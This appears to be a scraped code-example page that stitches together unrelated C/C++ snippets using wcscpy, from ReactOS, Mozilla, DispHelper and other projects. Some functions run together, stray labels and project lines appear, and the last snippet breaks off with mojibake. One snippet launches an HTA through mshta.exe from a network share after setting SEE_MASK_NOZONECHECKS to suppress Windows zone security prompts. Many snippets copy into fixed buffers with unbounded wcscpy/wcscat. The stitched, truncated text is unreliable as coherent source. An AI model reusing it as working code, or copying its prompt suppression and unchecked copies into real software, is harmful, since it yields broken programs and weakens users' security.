void LIST_COLUMN::Set(PCWSTR wszTitle, DWORD Orientation, int Size)
{
	wcscpy(this->Title, wszTitle);
	this->Orientation = Orientation;
	this->Size = Size;
}
eUpdateResult NotificationIcon::UpdateIcon(NID_INTERNAL & p_nid)
{
	bool newIcon = (m_hWnd == NULL);
	bool wasVisible = IsVisible();
	m_hWnd = p_nid.hWnd;
	m_uID = p_nid.uID;
	if (p_nid.uFlags & NIF_MESSAGE)
	{
		m_uCallbackMessage = p_nid.uCallbackMessage;
	}

	bool useSharedIcon = false;
	if (p_nid.uFlags & NIF_STATE)
	{
		if (p_nid.dwStateMask & NIS_SHAREDICON)
		{
			if (p_nid.dwState & NIS_SHAREDICON)
			{
				useSharedIcon = true;
			}
		}
		if (p_nid.dwStateMask & NIS_HIDDEN)
		{
			if (p_nid.dwState & NIS_HIDDEN)
			{
				m_hidden = true;
			}
			else
			{
				m_hidden = false;
			}
		}
	}
	if (p_nid.uFlags & NIF_ICON)
	{
		if (m_sharedIcon)
		{
			m_sharedIcon->ShareIcon(this, false);
			m_sharedIcon = NULL;
		}
		if (useSharedIcon)
		{
			m_sharedIcon = m_handler->FindIconToShare(p_nid.hIcon);
			if (m_sharedIcon)
			{
				m_hIconOrig = p_nid.hIcon;
				m_hIcon = m_sharedIcon->m_hIcon;
				m_sharedIcon->ShareIcon(this, true);
			}
			else
			{
				m_hIcon = NULL;
				m_hIconOrig = NULL;
				return ICON_FAILURE;
			}
		}
		else
		{
			m_hIconOrig = p_nid.hIcon;
			if (m_hIcon)
			{
				DestroyIcon(m_hIcon);
			}
			m_hIcon = CopyIcon(p_nid.hIcon);
		}
	}

	if (p_nid.uFlags & NIF_TIP)
	{
		StripAmp(m_szTip, p_nid.szTip);
		m_showTip = true;
	}
	if (p_nid.uFlags & NIF_INFO)
	{
		wcscpy(m_szInfo, p_nid.szInfo);
		wcscpy(m_szInfoTitle, p_nid.szInfoTitle);
		m_uTimeout = p_nid.uTimeout;
		m_dwInfoFlags = p_nid.dwInfoFlags;
		if (m_hBalloonIcon)
		{
			DestroyIcon(m_hBalloonIcon);
			m_hBalloonIcon = NULL;
		}
		if (p_nid.hBalloonIcon)
		{
			m_hBalloonIcon = CopyIcon(p_nid.hBalloonIcon);
		}
	}
	else
	{
		ZeroMemory(&m_szInfo, sizeof(m_szInfo));
		ZeroMemory(&m_szInfoTitle, sizeof(m_szInfoTitle));
		m_uTimeout = 0;
		m_dwInfoFlags = 0;
		if (m_hBalloonIcon)
		{
			DestroyIcon(m_hBalloonIcon);
			m_hBalloonIcon = NULL;
		}
	}
	if (p_nid.uFlags & NIF_GUID)
	{
		m_guidItem = p_nid.guidItem;
	}
	if (p_nid.uFlags & NIF_SHOWTIP)
	{
		m_showTip = true;
	}
	else
	{
		if (m_uVersion == 4)
		{
			m_showTip = false;
		}
	}
	if (m_legacyData)
	{
		m_legacyData->updateLegacy(this);
	}
	bool nowVisible = IsVisible();
	return static_cast<eUpdateResult>((newIcon ? ICON_ADDED : ICON_MODIFIED) | (wasVisible ? (nowVisible?0:ICON_HIDE) : (nowVisible?ICON_SHOW:0)));
}
示例#16
0
int main(int argc,char**argv)
{
	WCHAR res[4096];
	WCHAR res2[4096];
	WCHAR command[4096];
	WCHAR mshta[MAX_PATH];
	WCHAR curdir[MAX_PATH];
	WCHAR curdirBin[MAX_PATH];
	WCHAR s[MAX_PATH];

	_setmode(_fileno(stdout), _O_U16TEXT);

	int nargs;
	WCHAR **arglist = CommandLineToArgvW(GetCommandLineW(), &nargs);

	SetEnvironmentVariable(L"SEE_MASK_NOZONECHECKS",L"1");

	//Путь до mshta.exe
	GetWindowsDirectory(mshta, MAX_PATH);
	wsprintf(mshta,L"%s\\System32\\mshta.exe",mshta);
	wprintf(L"mshtaPath: %s\n", mshta);


	//Полный путь до нашего EXE
	GetModuleFileNameW(GetModuleHandleW(NULL), s, MAX_PATH);
	wprintf(L"GetModuleFileName=%s\n", s);

	//Обрезаем имя EXE, чтобы получить именно текущую директорию
	PathRemoveFileSpec(s);
	wcscpy(curdir,s);
	wprintf(L"curdir=%s\n", curdir);



	//Собираем все параметры полученные через командную строку
	wcscpy(command,L"");
	if (argc>1){
		int i;
		for(i=1; i<argc; ++i) {
			wcscat(command,L" ");
			wcscat(command,L"\"");
			wcscat(command,arglist[i]);
			wcscat(command,L"\"");
		}
	}
	_putws(command);



	//Устанавливаем текущую директорию
	wsprintf(curdirBin,L"%s"_CURR_DIR_,curdir);
	SetCurrentDirectory(curdirBin);
	wprintf(L"curdirBin: %s\n",curdirBin);

	//Собираем параметры, которые будем передавать в mshta.exe
	wsprintf(res,L"\"%s"_HTA_PATH_"\"%s",curdirBin,command);

	//Если запускаем не через SMB, а локально
	if(!(curdirBin[0]=='\\'&&curdirBin[1]=='\\'))
	{
		//Запускаем HTA-приложение
		run(mshta, res);
		return 0;
	}


	//Подключаем сетевой диск
	SetCurrentDirectory(curdir);
	_wsystem(L"NET USE \"Z:\" /DELETE /YES");
	wsprintf(res2,L"SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION & FOR /F \"tokens=2\" \%\%D IN ('NET USE * \"%s\" /PERSISTENT:NO^|FINDSTR /I 'unidad') DO SET DRIVELETTER=\%\%D",curdir);
	wprintf(L"NetUse: %s\n",res2);
	_wsystem(res2);


	//Запускаем HTA-приложение
	SetCurrentDirectory(L"Z:"_CURR_DIR_"\\");
	run(mshta, res);
	return 0;
}
示例#17
0
文件: filesup.c 项目: Strongc/reactos
NTSTATUS
SetupCreateDirectory(
    PWCHAR PathName)
{
    PWCHAR PathBuffer = NULL;
    PWCHAR Ptr, EndPtr;
    ULONG BackslashCount;
    ULONG Size;
    NTSTATUS Status = STATUS_SUCCESS;

    Size = (wcslen(PathName) + 1) * sizeof(WCHAR);
    PathBuffer = RtlAllocateHeap(RtlGetProcessHeap(), HEAP_ZERO_MEMORY, Size);
    if (PathBuffer == NULL)
        return STATUS_INSUFFICIENT_RESOURCES;

    wcscpy(PathBuffer, PathName);
    EndPtr = PathBuffer + wcslen(PathName);

    Ptr = PathBuffer;

    /* Skip the '\Device\HarddiskX\PartitionY\ part */
    BackslashCount = 0;
    while (Ptr < EndPtr && BackslashCount < 4)
    {
        if (*Ptr == L'\\')
            BackslashCount++;

        Ptr++;
    }

    while (Ptr < EndPtr)
    {
        if (*Ptr == L'\\')
        {
            *Ptr = 0;

            DPRINT("PathBuffer: %S\n", PathBuffer);
            if (!DoesPathExist(PathBuffer))
            {
                DPRINT("Create: %S\n", PathBuffer);
                Status = SetupCreateSingleDirectory(PathBuffer);
                if (!NT_SUCCESS(Status))
                    goto done;
            }

            *Ptr = L'\\';
        }

        Ptr++;
    }

    if (!DoesPathExist(PathBuffer))
    {
        DPRINT("Create: %S\n", PathBuffer);
        Status = SetupCreateSingleDirectory(PathBuffer);
        if (!NT_SUCCESS(Status))
            goto done;
    }

done:
    DPRINT("Done.\n");
    if (PathBuffer != NULL)
        RtlFreeHeap(RtlGetProcessHeap(), 0, PathBuffer);

    return Status;
}
nsresult
XPCOMGlueLoad(const char *aXpcomFile, GetFrozenFunctionsFunc *func)
{
    wchar_t xpcomFile[MAXPATHLEN];
    MultiByteToWideChar(CP_UTF8, 0, aXpcomFile,-1,
                        xpcomFile, MAXPATHLEN);
   
    
    if (xpcomFile[0] == '.' && xpcomFile[1] == '\0') {
        wcscpy(xpcomFile, LXPCOM_DLL);
    }
    else {
        wchar_t xpcomDir[MAXPATHLEN];
        
        if (ns_isRelPath(xpcomFile))
        {
            _wfullpath(xpcomDir, xpcomFile, sizeof(xpcomDir)/sizeof(wchar_t));
        } 
        else 
        {
            wcscpy(xpcomDir, xpcomFile);
        }
        wchar_t *lastSlash = ns_wcspbrk(xpcomDir, L"/\\");
        if (lastSlash) {
            *lastSlash = '\0';
            char xpcomDir_narrow[MAXPATHLEN];
            WideCharToMultiByte(CP_UTF8, 0, xpcomDir,-1,
                                xpcomDir_narrow, MAX_PATH, NULL, NULL);

            XPCOMGlueLoadDependentLibs(xpcomDir_narrow, ReadDependentCB);
            
            _snwprintf(lastSlash, MAXPATHLEN - wcslen(xpcomDir), L"\\" LXUL_DLL);
            sXULLibrary =
                LoadLibraryExW(xpcomDir, NULL, MOZ_LOADLIBRARY_FLAGS);

            if (!sXULLibrary) 
            {
                DWORD err = GetLastError();
#ifdef DEBUG
                LPVOID lpMsgBuf;
                FormatMessage(
                              FORMAT_MESSAGE_ALLOCATE_BUFFER |
                              FORMAT_MESSAGE_FROM_SYSTEM |
                              FORMAT_MESSAGE_IGNORE_INSERTS,
                              NULL,
                              GetLastError(),
                              MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                              (LPTSTR) &lpMsgBuf,
                              0,
                              NULL
                              );
                wprintf(L"Error loading %s: %s\n", xpcomDir, lpMsgBuf);
                LocalFree(lpMsgBuf);
#endif //DEBUG
                return (err == ERROR_NOT_ENOUGH_MEMORY || err == ERROR_OUTOFMEMORY)
                    ? NS_ERROR_OUT_OF_MEMORY : NS_ERROR_FAILURE;
            }
        }
    }
    HINSTANCE h =
        LoadLibraryExW(xpcomFile, NULL, MOZ_LOADLIBRARY_FLAGS);

    if (!h) 
    {
        DWORD err = GetLastError();
#ifdef DEBUG
        LPVOID lpMsgBuf;
        FormatMessage(
                      FORMAT_MESSAGE_ALLOCATE_BUFFER |
                      FORMAT_MESSAGE_FROM_SYSTEM |
                      FORMAT_MESSAGE_IGNORE_INSERTS,
                      NULL,
                      err,
                      MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                      (LPTSTR) &lpMsgBuf,
                      0,
                      NULL
                      );
        wprintf(L"Error loading %s: %s\n", xpcomFile, lpMsgBuf);
        LocalFree(lpMsgBuf);
#endif        
        return (err == ERROR_NOT_ENOUGH_MEMORY || err == ERROR_OUTOFMEMORY)
            ? NS_ERROR_OUT_OF_MEMORY : NS_ERROR_FAILURE;
    }

    AppendDependentLib(h);

    GetFrozenFunctionsFunc sym =
        (GetFrozenFunctionsFunc) GetProcAddress(h, "NS_GetFrozenFunctions");

    if (!sym) { // No symbol found.
        XPCOMGlueUnload();
        return NS_ERROR_NOT_AVAILABLE;
    }

    *func = sym;

    return NS_OK;
}
示例#19
0
文件: filesup.c 项目: Strongc/reactos
NTSTATUS
SetupExtractFile(
    PWCHAR CabinetFileName,
    PWCHAR SourceFileName,
    PWCHAR DestinationPathName)
{
    ULONG CabStatus;

    DPRINT("SetupExtractFile(CabinetFileName %S, SourceFileName %S, DestinationPathName %S)\n",
           CabinetFileName, SourceFileName, DestinationPathName);

    if (HasCurrentCabinet)
    {
        DPRINT("CurrentCabinetName: %S\n", CurrentCabinetName);
    }

    if ((HasCurrentCabinet) && (wcscmp(CabinetFileName, CurrentCabinetName) == 0))
    {
        DPRINT("Using same cabinet as last time\n");

        /* Use our last location because the files should be sequential */
        CabStatus = CabinetFindNextFileSequential(SourceFileName, &Search);
        if (CabStatus != CAB_STATUS_SUCCESS)
        {
            DPRINT("Sequential miss on file: %S\n", SourceFileName);

            /* Looks like we got unlucky */
            CabStatus = CabinetFindFirst(SourceFileName, &Search);
        }
    }
    else
    {
        DPRINT("Using new cabinet\n");

        if (HasCurrentCabinet)
        {
            CabinetCleanup();
        }

        wcscpy(CurrentCabinetName, CabinetFileName);

        CabinetInitialize();
        CabinetSetEventHandlers(NULL, NULL, NULL);
        CabinetSetCabinetName(CabinetFileName);

        CabStatus = CabinetOpen();
        if (CabStatus == CAB_STATUS_SUCCESS)
        {
            DPRINT("Opened cabinet %S\n", CabinetGetCabinetName());
            HasCurrentCabinet = TRUE;
        }
        else
        {
            DPRINT("Cannot open cabinet (%d)\n", CabStatus);
            return STATUS_UNSUCCESSFUL;
        }

        /* We have to start at the beginning here */
        CabStatus = CabinetFindFirst(SourceFileName, &Search);
    }

    if (CabStatus != CAB_STATUS_SUCCESS)
    {
        DPRINT1("Unable to find '%S' in cabinet '%S'\n", SourceFileName, CabinetGetCabinetName());
        return STATUS_UNSUCCESSFUL;
    }

    CabinetSetDestinationPath(DestinationPathName);
    CabStatus = CabinetExtractFile(&Search);
    if (CabStatus != CAB_STATUS_SUCCESS)
    {
        DPRINT("Cannot extract file %S (%d)\n", SourceFileName, CabStatus);
        return STATUS_UNSUCCESSFUL;
    }

    return STATUS_SUCCESS;
}
示例#20
0
文件: userinit.c 项目: nsxz/reactos
static
VOID StartShell(VOID)
{
    WCHAR Shell[MAX_PATH];
    TCHAR szMsg[RC_STRING_MAX_SIZE];
    DWORD Type, Size;
    DWORD Value = 0;
    LONG rc;
    HKEY hKey;

    TRACE("()\n");

    /* Safe Mode shell run */
    rc = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                       L"SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Option",
                       0, KEY_QUERY_VALUE, &hKey);
    if(rc == ERROR_SUCCESS)
    {
        Size = sizeof(Value);
        rc = RegQueryValueExW(hKey, L"UseAlternateShell", NULL,
                              &Type, (LPBYTE)&Value, &Size);
        if(rc == ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
            if(Type == REG_DWORD)
            {
                if(Value)
                {
                    /* Safe Mode Alternate Shell required */
                    rc = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                                       L"SYSTEM\\CurrentControlSet\\Control\\SafeBoot",
                                       0, KEY_READ, &hKey);
                    if(rc == ERROR_SUCCESS)
                    {
                        Size = MAX_PATH * sizeof(WCHAR);
                        rc = RegQueryValueExW(hKey, L"AlternateShell", NULL,
                                              &Type, (LPBYTE)Shell, &Size);
                        if(rc == ERROR_SUCCESS)
                        {
                            RegCloseKey(hKey);
                            if ((Type == REG_SZ) || (Type == REG_EXPAND_SZ))
                            {
                                TRACE("Key located - %s\n", debugstr_w(Shell));
                                /* Try to run alternate shell */
                                if (TryToStartShell(Shell))
                                {
                                    TRACE("Alternate shell started (Safe Mode)\n");
                                    return;
                                }
                            }
                            else
                            {
                                WARN("Wrong type %lu (expected %u or %u)\n",
                                     Type, REG_SZ, REG_EXPAND_SZ);
                            }
                        }
                        else
                        {
                            WARN("Alternate shell in Safe Mode required but not specified.");
                        }
                    }
                }
            }
            else
            {
                WARN("Wrong type %lu (expected %u)\n", Type, REG_DWORD);
            }
        }
    }
    /* Try to run shell in user key */
    if (GetShell(Shell, HKEY_CURRENT_USER) && TryToStartShell(Shell))
    {
        TRACE("Started shell from HKEY_CURRENT_USER\n");
        return;
    }

    /* Try to run shell in local machine key */
    if (GetShell(Shell, HKEY_LOCAL_MACHINE) && TryToStartShell(Shell))
    {
        TRACE("Started shell from HKEY_LOCAL_MACHINE\n");
        return;
    }

    /* Try default shell */
    if (IsConsoleShell())
    {
        if (GetSystemDirectory(Shell, MAX_PATH - 8))
            wcscat(Shell, L"\\cmd.exe");
        else
            wcscpy(Shell, L"cmd.exe");
    }
    else
    {
        if (GetWindowsDirectory(Shell, MAX_PATH - 13))
            wcscat(Shell, L"\\explorer.exe");
        else
            wcscpy(Shell, L"explorer.exe");
    }
    if (!TryToStartShell(Shell))
    {
        WARN("Failed to start default shell %s\n", debugstr_w(Shell));
        LoadString( GetModuleHandle(NULL), IDS_SHELL_FAIL, szMsg, sizeof(szMsg) / sizeof(szMsg[0]));
        MessageBox(0, szMsg, NULL, 0);
    }
}
int wmain(int argc, PRUnichar *argv[])
{
  int i;
  int rv = 0;

  if (argc > 1 && (_wcsicmp(argv[1], L"-check-one") != 0 ||
                   _wcsicmp(argv[1], L"-check-one") == 0 && argc != 3)) {
    fwprintf(stderr, L"Displays and validates output from MakeCommandLine.\n\n");
    fwprintf(stderr, L"Usage: %s -check-one <test number>\n\n", argv[0]);
    fwprintf(stderr, L"  <test number>\tSpecifies the test number to run from the\n");
    fwprintf(stderr, L"\t\tTestXREMakeCommandLineWin.ini file.\n");
    return 255;
  }

  PRUnichar inifile[MAXPATHLEN];
  if (!::GetModuleFileNameW(0, inifile, MAXPATHLEN)) {
    wprintf(L"TEST-UNEXPECTED-FAIL | %s | GetModuleFileNameW\n", TEST_NAME);
    return 2;
  }

  WCHAR *slash = wcsrchr(inifile, '\\');
  if (!slash) {
    wprintf(L"TEST-UNEXPECTED-FAIL | %s | wcsrchr\n", TEST_NAME);
    return 3;
  }

  wcscpy(slash + 1, L"TestXREMakeCommandLineWin.ini\0");

  for (i = 0; i < MAX_TESTS; ++i) {
    PRUnichar sInputVal[MAXPATHLEN];
    PRUnichar sOutputVal[MAXPATHLEN];
    PRUnichar sPassesVal[MAXPATHLEN];
    PRUnichar sInputKey[MAXPATHLEN];
    PRUnichar sOutputKey[MAXPATHLEN];
    PRUnichar sPassesKey[MAXPATHLEN];

    if (argc > 2 && _wcsicmp(argv[1], L"-check-one") == 0 && argc == 3) {
      i = _wtoi(argv[2]);
    }

    _snwprintf(sInputKey, MAXPATHLEN, L"input_%d", i);
    _snwprintf(sOutputKey, MAXPATHLEN, L"output_%d", i);
    _snwprintf(sPassesKey, MAXPATHLEN, L"passes_%d", i);

    if (!GetPrivateProfileStringW(L"MakeCommandLineTests", sInputKey, nsnull,
                                  sInputVal, MAXPATHLEN, inifile)) {
      if (i == 0 || argc > 2 && _wcsicmp(argv[1], L"-check-one") == 0) {
        wprintf(L"TEST-UNEXPECTED-FAIL | %s | see following explanation:\n", TEST_NAME);
        wprintf(L"ERROR: Either the TestXREMakeCommandLineWin.ini file doesn't exist\n");
        if (argc > 1 && _wcsicmp(argv[1], L"-check-one") == 0 && argc == 3) {
          wprintf(L"ERROR: or the test is not defined in the MakeCommandLineTests section.\n");
        } else {
          wprintf(L"ERROR: or it has no tests defined in the MakeCommandLineTests section.\n");
        }
        wprintf(L"ERROR: File: %s\n", inifile);
        return 4;
      }
      break;
    }

    GetPrivateProfileStringW(L"MakeCommandLineTests", sOutputKey, nsnull,
                             sOutputVal, MAXPATHLEN, inifile);
    GetPrivateProfileStringW(L"MakeCommandLineTests", sPassesKey, nsnull,
                             sPassesVal, MAXPATHLEN, inifile);

    rv |= verifyCmdLineCreation(sInputVal, sOutputVal,
                                (_wcsicmp(sPassesVal, L"false") == 0) ? FALSE : TRUE,
                                i);

    if (argc > 2 && _wcsicmp(argv[1], L"-check-one") == 0) {
      break;
    }
  }

  if (rv == 0) {
    wprintf(L"TEST-PASS | %s | all checks passed\n", TEST_NAME);
  } else {
    wprintf(L"TEST-UNEXPECTED-FAIL | %s | some checks failed\n", TEST_NAME);
  }

  return rv;
}
/* **************************************************************************
 * dhFormatException:
 *   This function formats the information in the provided exception structure into 
 * a string and returns it in szBuffer. Up to cchBufferSize characters are placed
 * in szBuffer.
 *
 ============================================================================ */
HRESULT dhFormatExceptionW(PDH_EXCEPTION pException, LPWSTR szBuffer, UINT cchBufferSize, BOOL bFixedFont)
{
	HRESULT hr;
	UINT cch = 0;
#	define DESCRIPTION_LENGTH 255

	if (!szBuffer && cchBufferSize) return E_INVALIDARG;

	if (!pException)
	{
		dhGetLastException(&pException);
		if (!pException)
		{
			if (cchBufferSize != 0)
			{
				_snwprintf(szBuffer, cchBufferSize, L"No error information available.");
				szBuffer[cchBufferSize - 1] = L'\0';
			}

			return NOERROR;
		}
	}

	hr = (pException->hr == DISP_E_EXCEPTION && pException->swCode ?
			pException->swCode : pException->hr);

	if (!pException->szSource)
	{ 
		/* Provide a generic source if we don't yet have one */

		if (pException->bDispatchError)
			pException->szSource = SysAllocString(L"IDispatch Interface");
		else
			pException->szSource = SysAllocString(L"Application");
	}

	if (!pException->szDescription)
	{ 
		/* Provide a description if we don't yet have one */

		pException->szDescription = SysAllocStringLen(NULL, DESCRIPTION_LENGTH);

		if (pException->szDescription)
		{
			switch (hr)
			{
				/* Check for HRESULTs that we handle with custom messages */

				case E_NOINTERFACE:
					_snwprintf(pException->szDescription, DESCRIPTION_LENGTH, L"Object required");
					break;

				case DISP_E_UNKNOWNNAME:
				case DISP_E_MEMBERNOTFOUND:
					_snwprintf(pException->szDescription, DESCRIPTION_LENGTH, L"Object doesn't support this property or method: '%s'", pException->szMember);
					break;

				case DISP_E_TYPEMISMATCH:
					if (pException->szMember[0])
					{
						_snwprintf(pException->szDescription, DESCRIPTION_LENGTH, L"Type mismatch: '%s'. Argument Index: %d", pException->szMember, pException->iArgError);
						break;
					} /* else fall through */

				default:
				{
					/* If we don't have an error description yet, use FormatMessage to get one */
#ifndef UNICODE
					CHAR szDescription[DESCRIPTION_LENGTH];
#else
					LPWSTR szDescription = pException->szDescription;
#endif
					cch = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
					             NULL, hr, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
					             szDescription, DESCRIPTION_LENGTH, NULL);

					if (!cch) wcscpy(pException->szDescription, L"Unknown runtime error");
#ifndef UNICODE
					else MultiByteToWideChar(CP_ACP, 0, szDescription, -1, pException->szDescription, DESCRIPTION_LENGTH);
#endif
				}
			}
		}
	}

	if (pException->szDescription)
	{
		/* Get rid of new line on the end of the description if it is present */

		if (!cch) cch = wcslen(pException->szDescription);

		if (cch >= 2 && pException->szDescription[cch - 2] == L'\r')
			pException->szDescription[cch - 2] = L'\0';
		else if (cch >= 1 && pException->szDescription[cch - 1] == L'\n')
			pException->szDescription[cch - 1] = L'\0';
	}

	if (cchBufferSize)
	{
		if (!bFixedFont)
		{
			_snwprintf(szBuffer, cchBufferSize, L"Member:\t  %s\r\nFunction:\t  %s\t\t\r\nError In:\t  %s\r\nError:\t  %s\r\nCode:\t  %x\r\nSource:\t  %s",
				pException->szCompleteMember,
				pException->szInitialFunction, pException->szErrorFunction,
				pException->szDescription, hr,
				pException->szSource);
		}
		else
		{
			_snwprintf(szBuffer, cchBufferSize, L"Member:   %s\r\nFunction: %s\r\nError In: %s\r\nError:    %s\r\nCode:     %x\r\nSource:   %s",
				pException->szCompleteMember,
				pException->szInitialFunction, pException->szErrorFunction,
				pException->szDescription, hr,
				pException->szSource);
		}

		szBuffer[cchBufferSize - 1] = L'\0';
	}

	return NOERROR;
}
// Compares compareCmdLine with the output of MakeCommandLine. This is
// accomplished by converting inCmdLine to an argument list with
// CommandLineToArgvW and converting it back to a command line with
// MakeCommandLine.
static int
verifyCmdLineCreation(PRUnichar *inCmdLine,
                      PRUnichar *compareCmdLine,
                      bool passes, int testNum)
{
  int rv = 0;
  int i;
  int inArgc;
  int outArgc;
  bool isEqual;

  // When debugging with command lines containing Unicode characters greater
  // than 255 you can set the mode for stdout to Unicode so the console will
  // receive the correct characters though it won't display them properly unless
  // the console's font has been set to one that can display the characters. You
  // can also redirect the console output to a file that has been saved as Unicode
  // to view the characters.
//  _setmode(_fileno(stdout), _O_WTEXT);

  // Prepend an additional argument to the command line. CommandLineToArgvW
  // handles argv[0] differently than other arguments since argv[0] is the path
  // to the binary being executed and MakeCommandLine only handles argv[1] and
  // larger.
  PRUnichar *inCmdLineNew = (PRUnichar *) malloc((wcslen(DUMMY_ARG1) + wcslen(inCmdLine) + 1) * sizeof(PRUnichar));
  wcscpy(inCmdLineNew, DUMMY_ARG1);
  wcscat(inCmdLineNew, inCmdLine);
  LPWSTR *inArgv = CommandLineToArgvW(inCmdLineNew, &inArgc);

  PRUnichar *outCmdLine = MakeCommandLine(inArgc - 1, inArgv + 1);
  PRUnichar *outCmdLineNew = (PRUnichar *) malloc((wcslen(DUMMY_ARG1) + wcslen(outCmdLine) + 1) * sizeof(PRUnichar));
  wcscpy(outCmdLineNew, DUMMY_ARG1);
  wcscat(outCmdLineNew, outCmdLine);
  LPWSTR *outArgv = CommandLineToArgvW(outCmdLineNew, &outArgc);

  if (VERBOSE) {
    wprintf(L"\n");
    wprintf(L"Verbose Output\n");
    wprintf(L"--------------\n");
    wprintf(L"Input command line   : >%s<\n", inCmdLine);
    wprintf(L"MakeComandLine output: >%s<\n", outCmdLine);
    wprintf(L"Expected command line: >%s<\n", compareCmdLine);

    wprintf(L"input argc : %d\n", inArgc - 1);
    wprintf(L"output argc: %d\n", outArgc - 1);

    for (i = 1; i < inArgc; ++i) {
      wprintf(L"input argv[%d] : >%s<\n", i - 1, inArgv[i]);
    }

    for (i = 1; i < outArgc; ++i) {
      wprintf(L"output argv[%d]: >%s<\n", i - 1, outArgv[i]);
    }
    wprintf(L"\n");
  }

  isEqual = (inArgc == outArgc);
  if (!isEqual) {
    wprintf(L"TEST-%s-FAIL | %s | ARGC Comparison (check %2d)\n",
            passes ? L"UNEXPECTED" : L"KNOWN", TEST_NAME, testNum);
    if (passes) {
      rv = 1;
    }
    LocalFree(inArgv);
    LocalFree(outArgv);
    free(inCmdLineNew);
    free(outCmdLineNew);
    free(outCmdLine);
    return rv;
  }

  for (i = 1; i < inArgc; ++i) {
    isEqual = (wcscmp(inArgv[i], outArgv[i]) == 0);
    if (!isEqual) {
      wprintf(L"TEST-%s-FAIL | %s | ARGV Comparison (check %2d)\n",
              passes ? L"UNEXPECTED" : L"KNOWN", TEST_NAME, testNum);
      if (passes) {
        rv = 1;
      }
      LocalFree(inArgv);
      LocalFree(outArgv);
      free(inCmdLineNew);
      free(outCmdLineNew);
      free(outCmdLine);
      return rv;
    }
  }

  isEqual = (wcscmp(outCmdLine, compareCmdLine) == 0);
  if (!isEqual) {
    wprintf(L"TEST-%s-FAIL | %s | Command Line Comparison (check %2d)\n",
            passes ? L"UNEXPECTED" : L"KNOWN", TEST_NAME, testNum);
    if (passes) {
      rv = 1;
    }
    LocalFree(inArgv);
    LocalFree(outArgv);
    free(inCmdLineNew);
    free(outCmdLineNew);
    free(outCmdLine);
    return rv;
  }

  if (rv == 0) {
    if (passes) {
      wprintf(L"TEST-PASS | %s | check %2d\n", TEST_NAME, testNum);
    } else {
      wprintf(L"TEST-UNEXPECTED-PASS | %s | check %2d\n", TEST_NAME, testNum);
      rv = 1;
    }
  }

  LocalFree(inArgv);
  LocalFree(outArgv);
  free(inCmdLineNew);
  free(outCmdLineNew);
  free(outCmdLine);
  return rv;
}
示例#24
0
文件: dir.c 项目: jgottula/automaton
SD_ERROR SD_AddDirent(SD_DIR Dir, SD_DIRENT *pDirent) {
	SD_DIRENT *myDirent = (SD_DIRENT *) malloc(sizeof(SD_DIRENT));
	SD_DIRENT *pSortDirent;

	int i;

	if(!myDirent) {
		return 1; // Return error
	}

	memcpy(myDirent, pDirent, sizeof(SD_DIRENT));

	// Handle Filename!
#ifdef FF_UNICODE_SUPPORT
	i = wcslen(myDirent->szFileName);
	myDirent->szFileName = (wchar_t *) malloc((i + 1)*sizeof(wchar_t));
	wcscpy(myDirent->szFileName, pDirent->szFileName);
#else
	i = strlen(myDirent->szFileName);
	myDirent->szFileName = (char *) malloc(i + 1);
	strcpy(myDirent->szFileName, pDirent->szFileName);
#endif
	

	if(!Dir->pFirstEntry) {
		Dir->pFirstEntry = myDirent;
		myDirent->pNextEntry = NULL;
	} else {
		pSortDirent = Dir->pFirstEntry;
#ifdef FF_UNICODE_SUPPORT
		while(pSortDirent->pNextEntry && wcsicmp(pSortDirent->szFileName, myDirent->szFileName) < 0) {
#else
		while(pSortDirent->pNextEntry && stricmp(pSortDirent->szFileName, myDirent->szFileName) < 0) {
#endif

			pSortDirent = pSortDirent->pNextEntry;
		}

		if(pSortDirent == Dir->pFirstEntry) {
			// Sort out a first entry swap?
#ifdef FF_UNICODE_SUPPORT
			if(wcsicmp(myDirent->szFileName, pSortDirent->szFileName) < 0) {
#else
			if(stricmp(myDirent->szFileName, pSortDirent->szFileName) < 0) {
#endif
				myDirent->pNextEntry = pSortDirent;
				Dir->pFirstEntry = myDirent;
			} else {
				myDirent->pNextEntry = pSortDirent->pNextEntry;
				pSortDirent->pNextEntry = myDirent;
			}
		} else {
			myDirent->pNextEntry = pSortDirent->pNextEntry;
			pSortDirent->pNextEntry = myDirent;
		}

		
	}


	Dir->ulTotalItems += 1;
	Dir->ulTotalMemory += sizeof(SD_DIRENT) + i + 1;
	
	if((unsigned) i > Dir->ulMaxNameLength) {
		Dir->ulMaxNameLength = i;
	}

	//SD_SortDirents(Dir);

	return 0;
}


SD_ERROR SD_FindFirst(SD_DIR Dir, SD_DIRENT *pFindData) {
	if(Dir->pFirstEntry) {
		memcpy(pFindData, Dir->pFirstEntry, sizeof(SD_DIRENT));
		return 0;
	}

	return 1;
}

SD_ERROR SD_FindNext(SD_DIR Dir, SD_DIRENT *pFindData) {
	Dir = NULL;
	
	if(pFindData->pNextEntry) {
		memcpy(pFindData, pFindData->pNextEntry, sizeof(SD_DIRENT));
		return 0;
	}

	return 1;
}

unsigned long SD_GetMaxFileName(SD_DIR Dir) {
	return Dir->ulMaxNameLength;
}

unsigned long SD_GetTotalItems(SD_DIR Dir) {
	return Dir->ulTotalItems;
}
示例#25
0
int SplitFileNameAndSave(wchar_t *cur_dir, wchar_t *file_name, void* unpack, u32 file_length)
{
	DWORD ByteWrite;
	wchar_t buf[MAX_PATH] = {0}, buf2[MAX_PATH];

	wcscpy(buf, cur_dir);
	wcscat(buf, L"\\");
	wcscat(buf, file_name);

	int len = lstrlenW(buf);
	int i = wcslen(cur_dir) + 1;
	wchar_t *p = buf, *end = buf + len;
	while (p <= end && i < len)
	{
		while(buf[i] != '\\' && buf[i] != '/' && buf[i] != '\0') ++i;
	
		if (i<len)
		{
			wchar_t tmp = buf[i];
			buf[i] = '\0';

			CreateDirectory(p, 0);
			buf[i] = tmp;
			++i;
			p = buf + i;
		}
	}

	HANDLE hFile;
	int ret = 0;
	do{
		hFile = CreateFile(p, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
		if (hFile == INVALID_HANDLE_VALUE)
		{
			wsprintfW(buf2, L"[Îļþ´´½¨´íÎó]%s", file_name);
